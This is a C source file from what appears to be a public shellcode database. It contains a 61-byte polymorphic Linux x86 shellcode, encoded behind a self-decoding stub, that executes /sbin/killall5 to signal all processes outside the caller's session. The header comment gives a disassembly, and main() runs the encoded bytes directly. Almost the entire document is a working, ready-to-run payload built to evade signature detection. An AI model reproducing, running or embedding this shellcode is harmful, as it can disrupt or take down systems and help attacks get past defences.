/* Title: Linux x86 | Polymorphic Shellcode killall5 - 61 bytes Author: Jonathan Salwan Mail: submit [!] shell-storm.org ! DataBase of shellcode ==> http://www.shell-storm.org/shellcode/ killall5 is the SystemV killall command. It sends a signal to all processes except the processes in its own session, so it won't kill the shell that is running the script it was called from. Its primary (only) use is in the rc scripts found in the /etc/init.d directory. Original Informations ===================== Disassembly of section .text: 08048054 <.text>: 8048054: 31 c0 xor %eax,%eax 8048056: 50 push %eax 8048057: 66 68 6c 35 pushw $0x356c 804805b: 68 6c 6c 61 6c push $0x6c616c6c 8048060: 68 6e 2f 6b 69 push $0x696b2f6e 8048065: 68 2f 73 62 69 push $0x6962732f 804806a: 89 e3 mov %esp,%ebx 804806c: 50 push %eax 804806d: 89 e2 mov %esp,%edx 804806f: 53 push %ebx 8048070: 89 e1 mov %esp,%ecx 8048072: b0 0b mov $0xb,%al 8048074: cd 80 int $0x80 */ #include "stdio.h" int main(int argc, char *argv[]) { char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x37\x80" "\x6c\x0e\xff\x01\x80\xe9\x01\x75" "\xf6\xeb\x05\xe8\xea\xff\xff\xff" "\x32\xc1\x51\x67\x69\x6d\x36\x69" "\x6d\x6d\x62\x6d\x69\x6f\x30\x6c" "\x6a\x69\x30\x74\x63\x6a\x8a\xe4" "\x51\x8a\xe3\x54\x8a\xe2\xb1\x0c" "\xce\x81\x41\xce\x81"; printf("Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }